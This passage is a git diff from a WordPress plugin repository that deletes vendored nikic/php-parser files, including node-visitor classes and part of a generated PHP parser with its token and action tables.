-$node->getAttribute('parent'), the previous - * node can be accessed through $node->getAttribute('previous'), - * and the next node can be accessed through $node->getAttribute('next'). - */ -final class NodeConnectingVisitor extends NodeVisitorAbstract { - /** - * @var Node[] - */ - private array $stack = []; - - /** - * @var ?Node - */ - private $previous; - - public function beforeTraverse(array $nodes) { - $this->stack = []; - $this->previous = null; - } - - public function enterNode(Node $node) { - if (!empty($this->stack)) { - $node->setAttribute('parent', $this->stack[count($this->stack) - 1]); - } - - if ($this->previous !== null && $this->previous->getAttribute('parent') === $node->getAttribute('parent')) { - $node->setAttribute('previous', $this->previous); - $this->previous->setAttribute('next', $node); - } - - $this->stack[] = $node; - } - - public function leaveNode(Node $node) { - $this->previous = $node; - - array_pop($this->stack); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/ParentConnectingVisitor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/ParentConnectingVisitor.php deleted file mode 100644 index 1e7e9e8b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/ParentConnectingVisitor.php +++ /dev/null @@ -1,38 +0,0 @@ -$node->getAttribute('parent'). - */ -final class ParentConnectingVisitor extends NodeVisitorAbstract { - /** - * @var Node[] - */ - private array $stack = []; - - public function beforeTraverse(array $nodes) { - $this->stack = []; - } - - public function enterNode(Node $node) { - if (!empty($this->stack)) { - $node->setAttribute('parent', $this->stack[count($this->stack) - 1]); - } - - $this->stack[] = $node; - } - - public function leaveNode(Node $node) { - array_pop($this->stack); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitorAbstract.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitorAbstract.php deleted file mode 100644 index 6fb15cca..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeVisitorAbstract.php +++ /dev/null @@ -1,24 +0,0 @@ -'", - "T_IS_GREATER_OR_EQUAL", - "T_SL", - "T_SR", - "'+'", - "'-'", - "'.'", - "'*'", - "'/'", - "'%'", - "'!'", - "T_INSTANCEOF", - "'~'", - "T_INC", - "T_DEC", - "T_INT_CAST", - "T_DOUBLE_CAST", - "T_STRING_CAST", - "T_ARRAY_CAST", - "T_OBJECT_CAST", - "T_BOOL_CAST", - "T_UNSET_CAST", - "'@'", - "T_POW", - "'['", - "T_NEW", - "T_CLONE", - "T_EXIT", - "T_IF", - "T_ELSEIF", - "T_ELSE", - "T_ENDIF", - "T_LNUMBER", - "T_DNUMBER", - "T_STRING", - "T_STRING_VARNAME", - "T_VARIABLE", - "T_NUM_STRING", - "T_INLINE_HTML", - "T_ENCAPSED_AND_WHITESPACE", - "T_CONSTANT_ENCAPSED_STRING", - "T_ECHO", - "T_DO", - "T_WHILE", - "T_ENDWHILE", - "T_FOR", - "T_ENDFOR", - "T_FOREACH", - "T_ENDFOREACH", - "T_DECLARE", - "T_ENDDECLARE", - "T_AS", - "T_SWITCH", - "T_MATCH", - "T_ENDSWITCH", - "T_CASE", - "T_DEFAULT", - "T_BREAK", - "T_CONTINUE", - "T_GOTO", - "T_FUNCTION", - "T_FN", - "T_CONST", - "T_RETURN", - "T_TRY", - "T_CATCH", - "T_FINALLY", - "T_USE", - "T_INSTEADOF", - "T_GLOBAL", - "T_STATIC", - "T_ABSTRACT", - "T_FINAL", - "T_PRIVATE", - "T_PROTECTED", - "T_PUBLIC", - "T_READONLY", - "T_PUBLIC_SET", - "T_PROTECTED_SET", - "T_PRIVATE_SET", - "T_VAR", - "T_UNSET", - "T_ISSET", - "T_EMPTY", - "T_HALT_COMPILER", - "T_CLASS", - "T_TRAIT", - "T_INTERFACE", - "T_ENUM", - "T_EXTENDS", - "T_IMPLEMENTS", - "T_OBJECT_OPERATOR", - "T_NULLSAFE_OBJECT_OPERATOR", - "T_LIST", - "T_ARRAY", - "T_CALLABLE", - "T_CLASS_C", - "T_TRAIT_C", - "T_METHOD_C", - "T_FUNC_C", - "T_PROPERTY_C", - "T_LINE", - "T_FILE", - "T_START_HEREDOC", - "T_END_HEREDOC", - "T_DOLLAR_OPEN_CURLY_BRACES", - "T_CURLY_OPEN", - "T_PAAMAYIM_NEKUDOTAYIM", - "T_NAMESPACE", - "T_NS_C", - "T_DIR", - "T_NS_SEPARATOR", - "T_ELLIPSIS", - "T_NAME_FULLY_QUALIFIED", - "T_NAME_QUALIFIED", - "T_NAME_RELATIVE", - "T_ATTRIBUTE", - "';'", - "']'", - "'('", - "')'", - "'{'", - "'}'", - "'`'", - "'\"'", - "'$'" - ); - - protected array $tokenToSymbol = array( - 0, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 56, 170, 172, 171, 55, 172, 172, - 165, 166, 53, 50, 8, 51, 52, 54, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 31, 163, - 44, 16, 46, 30, 68, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 70, 172, 164, 36, 172, 169, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 167, 35, 168, 58, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 172, 172, 172, 172, - 172, 172, 172, 172, 172, 172, 1, 2, 3, 4, - 5, 6, 7, 9, 10, 11, 12, 13, 14, 15, - 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, - 27, 28, 29, 32, 33, 34, 37, 38, 39, 40, - 41, 42, 43, 45, 47, 48, 49, 57, 59, 60, - 61, 62, 63, 64, 65, 66, 67, 69, 71, 72, - 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, - 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, - 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, - 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, - 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, - 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, - 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, - 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, - 153, 154, 155, 156, 157, 158, 159, 160, 161, 162 - ); - - protected array $action = array( - 128, 129, 130, 565, 131, 132, 944, 754, 755, 756, - 133, 38, 838, 485, 561, 1365,-32766,-32766,-32766, 0, - 829, 1122, 1123, 1124, 1118, 1117, 1116, 1125, 1119, 1120, - 1121,-32766,-32766,-32766, -332, 748, 747,-32766, 840,-32766, - -32766,-32766,-32766,-32766,-32766,-32766,-32767,-32767,-32767,-32767, - -32767, 24,-32766, 1034, -568, 757, 1122, 1123, 1124, 1118, - 1117, 1116, 1125, 1119, 1120, 1121, 2, 381, 382, 265, - 134, 384, 761, 762, 763, 764, 1111, 425, 426, 1300, - 329, 36, 248, 26, 291, 818, 765, 766, 767, 768, - 769, 770, 771, 772, 773, 774, 794, 566, 795, 796, - 797, 798, 786, 787, 346, 347, 789, 790, 775, 776, - 777, 779, 780, 781, 357, 821, 822, 823, 824, 825, - 567, -568, -568, 299, 782, 783, 568, 569, -194, 806, - 804, 805, 817, 801, 802, 35, -193, 570, 571, 800, - 572, 573, 574, 575,-32766, 576, 577, 471, 472, 486, - 238, -568, 803, 578, 579, -371, 135, -371, 128, 129, - 130, 565, 131, 132, 1067, 754, 755, 756, 133, 38, - -32766, 136, 728, 1027, 1026, 1025, 1031, 1028, 1029, 1030, - -32766,-32766,-32766,-32767,-32767,-32767,-32767, 101, 102, 103, - 104, 105, -332, 748, 747, 1043, 923,-32766,-32766,-32766, - 839,-32766, 145,-32766,-32766,-32766,-32766,-32766,-32766,-32766, - -32766,-32766,-32766, 757,-32766,-32766,-32766, 611,-32766, 290, - -32766,-32766,-32766,-32766,-32766, 834, 718, 265, 134, 384, - 761, 762, 763, 764, -615,-32766, 426,-32766,-32766,-32766, - -32766, -615, 251, 818, 765, 766, 767, 768, 769, 770, - 771, 772, 773, 774, 794, 566, 795, 796, 797, 798, - 786, 787, 346, 347, 789, 790, 775, 776, 777, 779, - 780, 781, 357, 821, 822, 823, 824, 825, 567, 913, - 426, 310, 782, 783, 568, 569, -194, 806, 804, 805, - 817, 801, 802, 1288, -193, 570, 571, 800, 572, 573, - 574, 575, -273, 576, 577, 835, 82, 83, 84, -85, - 803, 578, 579, 237, 148, 778, 749, 750, 751, 752, - 753, 150, 754, 755, 756, 791, 792, 37,-32766, 85, - 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, - 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, - 106, 107, 108, 1043, 276,-32766,-32766,-32766, 925, 1263, - 1262, 1264, 713, 831, 312, 393, 109, 7, 1097, 47, - 757,-32766,-32766,-32766, 838, -85,-32766, 1095,-32766,-32766, - -32766, 1268,-32766,-32766, 758, 759, 760, 761, 762, 763, - 764, 994,-32766, 827,-32766,-32766, 923, -615, 324, -615, - 818, 765, 766, 767, 768, 769, 770, 771, 772, 773, - 774, 794, 816, 795, 796, 797, 798, 786, 787, 788, - 815, 789, 790, 775, 776, 777, 779, 780, 781, 820, - 821, 822, 823, 824, 825, 826, 300, 301, 342, 782, - 783, 784, 785, 833, 806, 804, 805, 817, 801, 802, - 715, 1040, 793, 799, 800, 807, 808, 810, 809, 140, - 811, 812, 838, 327, 343,-32766, 125, 803, 814, 813, - 49, 50, 51, 517, 52, 53, 1043, -110, 371, 913, - 54, 55, -110, 56, -110, -566,-32766,-32766,-32766, 306, - 1043, 126, -110, -110, -110, -110, -110, -110, -110, -110, - -110, -110, -110, -612, 1096, 106, 107, 108, 740, 276, - -612, 963, 964,-32766, 290, 287, 965, 1330, 57, 58, - -32766, 109, 375, 995, 59, 959, 60, 245, 246, 61, - 62, 63, 64, 65, 66, 67, 68,-32766, 28, 267, - 69, 441, 518, 391, -346, 74, 1294, 1295, 519, 443, - 838, 327, -566, -566, 1292, 42, 20, 520, 925, 521, - 923, 522, 713, 523, -564, 693, 524, 525, -566, 923, - 444, 44, 45, 447, 378, 377, -78, 46, 526, 923, - -572, 445, -566, 369, 341, 1346, 103, 104, 105, -563, - 1254, 923, 383, 382, 446, 528, 529, 530, 865, 719, - 866, 694, 425, 461, 462, 463, 844, 532, 533, 720, - 1280, 1281, 1282, 1283, 1285, 1277, 1278, 298, 865, 151, - 866, 723, 153, 1284, 1279, 695, 696, 1263, 1262, 1264, - 299, -564, -564, 70, -153, -153, -153, 322, 323, 327, - 154, -4, 923, 913, 1263, 1262, 1264, -564, 155, -153, - 283, -153, 913, -153, 157, -153, -563, -563, 33, -571, - 1350, -564, 913, -58, 829, 376, -612, 1349, -612, 748, - 747, 837, -563, -606, 913, -606, 963, 964, -57, 748, - 747, 527, 123, 81, -570, 1040, -563, 327, 617, 899, - 959, -110, -110, -110, 32, 110, 111, 112, 113, 114, - 115, 116, 117, 118, 119, 120, 121, 122, 124, -565, - 1043, 947, 28, 268, 149, 408, 923, 1375, 829, 137, - 1376, 138, 925, 144, 838, 913, 713, -153, 1292, 660, - 21, 925, 679, 680, 283, 713, 158, 1170, 1172, 379, - 380, 980, 385, 386, 159, 713, 730, 376, -562, 438, - 1066, 141, 160, 925, 297, 327, 161, 713, 963, 964, - 946, 651, 652, 527, 1254, -87, 162, -306, 748, 747, - -84, 531, 959, -110, -110, -110, -565, -565, -78, 287, - 1268, 532, 533, -73, 1280, 1281, 1282, 1283, 1285, 1277, - 1278, -72, -565, -71, -70, 11, 1261, 1284, 1279, 913, - -69, 748, 747, -68, 925,-32766, -565, 72, 713, -4, - -16, 1261, 323, 327, -67, -562, -562, 291,-32766,-32766, - -32766, -66,-32766, -65,-32766, -46,-32766, -18, 142,-32766, - 275, -562, 1259, 284,-32766,-32766,-32766, 729,-32766, 732, - -32766,-32766, 922, 147, 1261, -562,-32766, 422, 28, 267, - -302,-32766,-32766,-32766, 279,-32766, 1042,-32766,-32766,-32766, - 838, 838,-32766, 288, 1292, 1040, 280,-32766,-32766,-32766, - 285, 286, 335,-32766,-32766, 1263, 1262, 1264, 925,-32766, - 422, 289, 713, 28, 268, 292, 293, 276, 940, 73, - 1043,-32766, 109, 689, 146, 838, -110, -110, -562, 1292, - 1254, -110, 829,-32766, 1377, 704, 582, 10, 661, 838, - -110, 1129, 706, 649, 283, 307, 960,-32766, 533,-32766, - 1280, 1281, 1282, 1283, 1285, 1277, 1278, 682, 1043, 305, - -50, 468, 1299, 1284, 1279, 1254, 666, -528, 496, 667, - 304, 299, 683, 72, 74, 1301, 588,-32766, 323, 327, - 327, -518, 290, 533, 40, 1280, 1281, 1282, 1283, 1285, - 1277, 1278, 8, 139, 0, -562, -562, 27, 1284, 1279, - -276, 407, 0,-32766, 0, 0, 0, 0, 72, 1261, - 311, -562, 0, 323, 327, 0,-32766,-32766,-32766, 0, - -32766, 373,-32766, 0,-32766, -562, 0,-32766, 0, 0, - 615, 0,-32766,-32766,-32766, 923,-32766, 0,-32766,-32766, - 942, 1289, 1261, 837,-32766, 422, 41, 299, 34,-32766, - -32766,-32766, 737,-32766, 738,-32766,-32766,-32766, 923, 857, - -32766, 904, 1004, 981, 988,-32766,-32766,-32766, 978,-32766, - 989,-32766,-32766, 902, 976, 1261, 1100,-32766, 422, 48, - 1103, 1104,-32766,-32766,-32766, 1101,-32766, 1102,-32766,-32766, - -32766, 1108, -600,-32766, 849, 1316, 1334, 491,-32766,-32766, - -32766, 1368,-32766, 654,-32766,-32766, -599, -598, 1261, 595, - -32766, 422, -572, -571, 1268,-32766,-32766,-32766, 913,-32766, - -570,-32766,-32766,-32766, -569, -512,-32766, -274, 1, 29, - 30,-32766,-32766,-32766, -251, -251, -251,-32766,-32766, 39, - 376, 913, 43,-32766, 422, 71, 302, 303, 75, 76, - 77, 963, 964, 78, 79,-32766, 527, -250, -250, -250, - -273, 80, 374, 376, 899, 959, -110, -110, -110, 143, - 152, 156, 243, 331, 963, 964, 127, 358, 359, 527, - 360, 361, 362, 363, 364, 365, 366, 899, 959, -110, - -110, -110,-32766, 13, 367, 838, 368, 925, 1261, 14, - 370, 713, -251, 439, 560,-32766,-32766,-32766, 15,-32766, - 16,-32766, 18,-32766, 406, 487,-32766, 488, 495, 498, - 925,-32766,-32766,-32766, 713, -250, 499,-32766,-32766, 500, - -110, -110, 501,-32766, 422, -110, 505, 506, 507, 515, - 593, 699, 1069, 1210, -110,-32766, 1290, 1068, 1049, 1249, - 1045, -278, -102,-32766, 12, 17, 22, 296, 405, 607, - 612, 640, 705, 1214, 1267, 1211, 1347, 0, 321, 372, - 714, 717, 721, 722, 724, 299, 725, 726, 74, 727, - 1227, 731, 716, 0, 327, 411, 1293, 734, 900, 1372, - 1374, 860, 859, 953, 996, 1373, 952, 950, 951, 954, - 1242, 933, 943, 931, 986, 987, 638, 1371, 1328, 1317, - 1335, 1344, 0, 0, 0, 327 - ); - - protected array $actionCheck = array( - 2, 3, 4, 5, 6, 7, 1, 9, 10, 11, - 12, 13, 82, 31, 85, 85, 9, 10, 11, 0, - 80, 116, 117, 118, 119, 120, 121, 122, 123, 124, - 125, 9, 10, 11, 8, 37, 38, 30, 1, 32, - 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, - 43, 101, 30, 1, 70, 57, 116, 117, 118, 119, - 120, 121, 122, 123, 124, 125, 8, 106, 107, 71, - 72, 73, 74, 75, 76, 77, 126, 116, 80, 150, - 70, 151, 152, 8, 30, 87, 88, 89, 90, 91, - 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, - 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, - 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, - 122, 137, 138, 162, 126, 127, 128, 129, 8, 131, - 132, 133, 134, 135, 136, 8, 8, 139, 140, 141, - 142, 143, 144, 145, 9, 147, 148, 137, 138, 167, - 14, 167, 154, 155, 156, 106, 158, 108, 2, 3, - 4, 5, 6, 7, 166, 9, 10, 11, 12, 13, - 116, 8, 167, 119, 120, 121, 122, 123, 124, 125, - 9, 10, 11, 44, 45, 46, 47, 48, 49, 50, - 51, 52, 166, 37, 38, 141, 1, 9, 10, 11, - 163, 30, 8, 32, 33, 34, 35, 36, 37, 38, - 9, 10, 11, 57, 9, 10, 11, 1, 30, 165, - 32, 33, 34, 35, 36, 80, 31, 71, 72, 73, - 74, 75, 76, 77, 1, 30, 80, 32, 33, 34, - 35, 8, 8, 87, 88, 89, 90, 91, 92, 93, - 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, - 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, - 114, 115, 116, 117, 118, 119, 120, 121, 122, 84, - 80, 8, 126, 127, 128, 129, 166, 131, 132, 133, - 134, 135, 136, 1, 166, 139, 140, 141, 142, 143, - 144, 145, 166, 147, 148, 160, 9, 10, 11, 31, - 154, 155, 156, 97, 158, 2, 3, 4, 5, 6, - 7, 14, 9, 10, 11, 12, 13, 30, 116, 32, - 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, - 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, - 53, 54, 55, 141, 57, 9, 10, 11, 163, 159, - 160, 161, 167, 80, 8, 106, 69, 108, 168, 70, - 57, 9, 10, 11, 82, 97, 30, 1, 32, 33, - 34, 1, 9, 10, 71, 72, 73, 74, 75, 76, - 77, 31, 30, 80, 32, 33, 1, 164, 8, 166, - 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, - 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, - 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, - 117, 118, 119, 120, 121, 122, 137, 138, 8, 126, - 127, 128, 129, 160, 131, 132, 133, 134, 135, 136, - 167, 116, 139, 140, 141, 142, 143, 144, 145, 167, - 147, 148, 82, 171, 8, 116, 167, 154, 155, 156, - 2, 3, 4, 5, 6, 7, 141, 101, 8, 84, - 12, 13, 106, 15, 108, 70, 9, 10, 11, 113, - 141, 14, 116, 117, 118, 119, 120, 121, 122, 123, - 124, 125, 126, 1, 163, 53, 54, 55, 167, 57, - 8, 117, 118, 116, 165, 30, 122, 1, 50, 51, - 140, 69, 8, 163, 56, 131, 58, 59, 60, 61, - 62, 63, 64, 65, 66, 67, 68, 140, 70, 71, - 72, 73, 74, 8, 168, 165, 78, 79, 80, 8, - 82, 171, 137, 138, 86, 87, 88, 89, 163, 91, - 1, 93, 167, 95, 70, 80, 98, 99, 153, 1, - 8, 103, 104, 105, 106, 107, 16, 109, 110, 1, - 165, 8, 167, 115, 116, 1, 50, 51, 52, 70, - 122, 1, 106, 107, 8, 127, 128, 129, 106, 31, - 108, 116, 116, 132, 133, 134, 8, 139, 140, 31, - 142, 143, 144, 145, 146, 147, 148, 149, 106, 14, - 108, 31, 14, 155, 156, 140, 141, 159, 160, 161, - 162, 137, 138, 165, 75, 76, 77, 169, 170, 171, - 14, 0, 1, 84, 159, 160, 161, 153, 14, 90, - 165, 92, 84, 94, 14, 96, 137, 138, 14, 165, - 1, 167, 84, 16, 80, 106, 164, 8, 166, 37, - 38, 159, 153, 164, 84, 166, 117, 118, 16, 37, - 38, 122, 16, 167, 165, 116, 167, 171, 51, 130, - 131, 132, 133, 134, 16, 17, 18, 19, 20, 21, - 22, 23, 24, 25, 26, 27, 28, 29, 16, 70, - 141, 73, 70, 71, 101, 102, 1, 80, 80, 16, - 83, 16, 163, 16, 82, 84, 167, 168, 86, 75, - 76, 163, 75, 76, 165, 167, 16, 59, 60, 106, - 107, 163, 106, 107, 16, 167, 31, 106, 70, 108, - 1, 167, 16, 163, 113, 171, 16, 167, 117, 118, - 122, 111, 112, 122, 122, 31, 16, 35, 37, 38, - 31, 130, 131, 132, 133, 134, 137, 138, 31, 30, - 1, 139, 140, 31, 142, 143, 144, 145, 146, 147, - 148, 31, 153, 31, 31, 154, 80, 155, 156, 84, - 31, 37, 38, 31, 163, 74, 167, 165, 167, 168, - 31, 80, 170, 171, 31, 137, 138, 30, 87, 88, - 89, 31, 91, 31, 93, 31, 95, 31, 31, 98, - 31, 153, 116, 31, 103, 104, 105, 31, 74, 31, - 109, 110, 31, 31, 80, 167, 115, 116, 70, 71, - 35, 87, 88, 89, 35, 91, 140, 93, 127, 95, - 82, 82, 98, 37, 86, 116, 35, 103, 104, 105, - 35, 35, 35, 109, 110, 159, 160, 161, 163, 115, - 116, 37, 167, 70, 71, 37, 37, 57, 38, 158, - 141, 127, 69, 77, 70, 82, 117, 118, 70, 86, - 122, 122, 80, 116, 83, 80, 89, 97, 90, 82, - 131, 82, 92, 113, 165, 114, 131, 85, 140, 140, - 142, 143, 144, 145, 146, 147, 148, 94, 141, 136, - 31, 97, 150, 155, 156, 122, 96, 153, 97, 100, - 135, 162, 100, 165, 165, 150, 157, 140, 170, 171, - 171, 153, 165, 140, 163, 142, 143, 144, 145, 146, - 147, 148, 153, 31, -1, 137, 138, 153, 155, 156, - 166, 168, -1, 74, -1, -1, -1, -1, 165, 80, - 135, 153, -1, 170, 171, -1, 87, 88, 89, -1, - 91, 153, 93, -1, 95, 167, -1, 98, -1, -1, - 157, -1, 103, 104, 105, 1, 74, -1, 109, 110, - 158, 164, 80, 159, 115, 116, 163, 162, 167, 87, - 88, 89, 163, 91, 163, 93, 127, 95, 1, 163, - 98, 163, 163, 163, 163, 103, 104, 105, 163, 74, - 163, 109, 110, 163, 163, 80, 163, 115, 116, 70, - 163, 163, 87, 88, 89, 163, 91, 163, 93, 127, - 95, 163, 165, 98, 164, 164, 164, 102, 103, 104, - 105, 164, 74, 164, 109, 110, 165, 165, 80, 81, - 115, 116, 165, 165, 1, 87, 88, 89, 84, 91, - 165, 93, 127, 95, 165, 165, 98, 166, 165, 165, - 165, 103, 104, 105, 100, 101, 102, 109, 110, 165, - 106, 84, 165, 115, 116, 165, 137, 138, 165, 165, - 165, 117, 118, 165, 165, 127, 122, 100, 101, 102, - 166, 165, 153, 106, 130, 131, 132, 133, 134, 165, - 165, 165, 165, 165, 117, 118, 167, 165, 165, 122, - 165, 165, 165, 165, 165, 165, 165, 130, 131, 132, - 133, 134, 74, 166, 165, 82, 165, 163, 80, 166, - 165, 167, 168, 165, 165, 87, 88, 89, 166, 91, - 166, 93, 166, 95, 166, 166, 98, 166, 166, 166, - 163, 103, 104, 105, 167, 168, 166, 109, 110, 166, - 117, 118, 166, 115, 116, 122, 166, 166, 166, 166, - 166, 166, 166, 166, 131, 127, 166, 166, 166, 166, - 166, 166, 166, 140, 166, 166, 166, 166, 166, 166, - 166, 166, 166, 166, 166, 166, 166, -1, 167, 167, - 167, 167, 167, 167, 167, 162, 167, 167, 165, 167, - 169, 167, 167, -1, 171, 168, 170, 168, 168, 168, - 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, - 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, - 168, 168, -1, -1, -1, 171 - ); - - protected array $actionBase = array( - 0, -2, 156, 559, 641, 1004, 1027, 485, 292, 200, - -60, 283, 568, 590, 590, 715, 590, 195, 578, 894, - 395, 395, 395, 825, 313, 313, 825, 313, 731, 731, - 731, 731, 764, 764, 965, 965, 998, 932, 899, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, 1088, - 1088, 1088, 1088, 37, 360, 216, 644, 1061, 1067, 1063, - 1068, 1059, 1058, 1062, 1064, 1069, 1109, 1110, 812, 1111, - 1112, 1108, 1113, 1065, 909, 1060, 1066, 297, 297, 297, - 297, 297, 297, 297, 297, 297, 297, 297, 297, 297, - 297, 297, 297, 297, 297, 297, 297, 297, 297, 297, - 297, 297, 297, 297, 135, 477, 373, 201, 201, 201, - 201, 201, 201, 201, 201, 201, 201, 201, 201, 201, - 201, 201, 201, 201, 201, 201, 201, 642, 642, 22, - 22, 22, 362, 813, 778, 813, 813, 813, 813, 813, - 813, 813, 813, 346, 205, 678, 188, 171, 171, 7, - 7, 7, 7, 7, 376, 779, 54, 1083, 1083, 139, - 139, 139, 139, -50, 49, 749, 380, 787, -39, 569, - 569, 536, 536, 335, 335, 349, 349, 335, 335, 335, - 212, 212, 212, 212, 415, 494, 519, 512, -71, 807, - 584, 584, 584, 584, 807, 807, 807, 807, 795, 1086, - 807, 807, 807, 639, 828, 828, 979, 452, 452, 452, - 828, 492, -70, -70, 492, 394, -70, 516, 982, 637, - 988, 397, 785, 486, 509, 397, -16, 299, 502, 233, - 854, 633, 854, 1056, 832, 832, 794, 752, 898, 1085, - 1070, 839, 1106, 842, 1107, 471, 10, 747, 1055, 1055, - 1055, 1055, 1055, 1055, 1055, 1055, 1055, 1055, 1055, 1114, - 632, 1056, 145, 1114, 1114, 1114, 632, 632, 632, 632, - 632, 632, 632, 632, 796, 632, 632, 650, 145, 654, - 657, 145, 837, 632, 798, 37, 37, 37, 37, 37, - 37, 37, 37, 37, 37, -18, 37, 37, 360, 5, - 5, 37, 341, 52, 5, 5, 5, 5, 37, 37, - 37, 37, 633, 830, 789, 636, 278, 843, 128, 830, - 830, 830, 26, 136, 120, 732, 815, 259, 822, 822, - 829, 933, 933, 822, 827, 822, 829, 822, 822, 933, - 933, 855, 933, 163, 541, 430, 514, 562, 933, 273, - 822, 822, 822, 822, 845, 933, 58, 573, 822, 234, - 194, 822, 822, 845, 805, 802, 793, 933, 933, 933, - 845, 470, 793, 793, 793, 859, 861, 800, 799, 390, - 356, 598, 127, 850, 799, 799, 822, 535, 800, 799, - 800, 799, 852, 799, 799, 799, 800, 799, 827, 456, - 799, 720, 728, 586, 75, 799, 19, 950, 953, 734, - 954, 944, 955, 1008, 958, 959, 1073, 930, 977, 947, - 966, 1009, 935, 934, 811, 666, 692, 809, 784, 929, - 823, 823, 823, 917, 918, 823, 823, 823, 823, 823, - 823, 823, 823, 666, 847, 838, 817, 983, 703, 705, - 1044, 782, 1090, 1081, 982, 950, 959, 739, 947, 966, - 935, 934, 792, 790, 772, 783, 769, 763, 760, 762, - 797, 1046, 974, 791, 707, 1016, 985, 1089, 1071, 986, - 987, 1018, 1047, 866, 1050, 1091, 824, 1092, 1093, 900, - 989, 1074, 823, 912, 897, 901, 988, 925, 666, 902, - 1051, 997, 851, 1019, 1021, 1072, 834, 821, 907, 1094, - 990, 991, 999, 1075, 1076, 853, 1003, 804, 1022, 841, - 803, 1023, 1030, 1033, 1036, 1077, 1095, 1079, 911, 1080, - 868, 818, 931, 840, 1096, 307, 835, 836, 849, 1005, - 605, 978, 1082, 1087, 1097, 1040, 1041, 1042, 1098, 1099, - 975, 869, 1012, 833, 1014, 964, 870, 871, 608, 848, - 1052, 819, 831, 844, 626, 634, 1100, 1101, 1102, 976, - 806, 816, 875, 877, 1053, 826, 1054, 1103, 640, 880, - 1104, 1045, 736, 740, 560, 662, 647, 750, 820, 1084, - 814, 801, 810, 1001, 740, 808, 881, 1105, 883, 887, - 888, 1043, 892, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 468, 468, 468, 468, 468, 468, 313, - 313, 313, 313, 313, 468, 468, 468, 468, 468, 468, - 468, 313, 468, 468, 468, 313, 0, 0, 313, 0, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 